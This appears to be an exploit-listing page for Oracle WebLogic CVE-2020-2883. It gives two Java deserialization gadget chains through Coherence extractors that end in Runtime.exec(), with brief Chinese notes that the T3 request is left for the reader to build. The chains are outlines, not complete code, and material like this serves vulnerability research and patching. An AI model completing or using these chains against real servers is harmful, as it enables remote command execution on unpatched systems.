## https://sploitus.com/exploit?id=54F9B4D4-129B-5916-8725-D750A1593FBB
# POC for weblogic CVE-2020-2883
poc1:
```bash
javax.management.BadAttributeValueExpException.readObject()
com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
java.util.concurrent.ConcurrentSkipListMap.cpr()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
```
poc2:
```bash
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
```
## Cautious
1. 需要导入依赖的coherence包
2. T3的请求请自行构造
## Reference
https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild